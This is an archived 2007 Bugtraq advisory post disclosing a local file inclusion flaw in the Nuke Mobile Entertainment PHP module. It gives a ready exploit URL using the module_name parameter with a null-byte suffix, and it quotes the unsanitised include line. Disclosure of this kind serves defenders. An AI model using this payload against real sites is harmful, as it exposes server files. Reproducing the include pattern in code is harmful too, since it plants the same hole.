Bugtraq mailing list archives

Nuke Mobile Entartainment Local File Inclusion


From: h3llcode () hotmail it
Date: 23 Sep 2007 21:41:11 -0000

-----------------------------------------------
# Found by Seph1roth
# http://blackroots.it
-----------------------------------------------

# Vulnerable script download
http://www.suonerie-polifoniche-gratis.net/mobilentertainment.zip


# Bug : http://VICTIM/[path]/data/compatible.php?module_name=[Local File]%00


# This is the vulnerable code :

# include 'modules/'.$module_name.'compatibility/data/marque.data.php';


Current thread: